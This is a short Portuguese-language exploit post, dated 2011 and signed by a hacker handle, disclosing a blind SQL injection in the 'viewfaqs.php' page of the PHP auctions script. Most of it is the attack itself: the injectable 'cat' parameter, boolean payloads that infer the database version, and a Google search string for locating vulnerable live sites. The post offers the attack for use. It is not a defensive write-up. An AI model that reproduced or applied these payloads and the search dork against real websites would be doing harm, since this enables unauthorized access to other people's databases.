Ação PHP (viewfaqs.php) Tem Vulnerabilidade a Blind SQL Injection

Vulnerabilidade divulgada Data: 2011/01/21Divulgada pelos grupos: darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
 Exploit Code :  
==
[#]Script: PHP auctions
[#]Version: n/a
[#]Link: http://phpauctions.info
==
[#]Author: BorN To K!LL - h4ck3r
==
[#]3xploit:
/viewfaqs.php?cat=[Blind-Injection]

[#]3xample:
/viewfaqs.php?cat=2 and substring(version(),1,1)=4 // false ,,
/viewfaqs.php?cat=2 and substring(version(),1,1)=5 // true ,,

Assim temos acesso a versão do DB do site
==
[#]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
==

Código de busca google:
inurl:/viewfaqs.php?cat=2

Fonte:goo.gl/I6ayE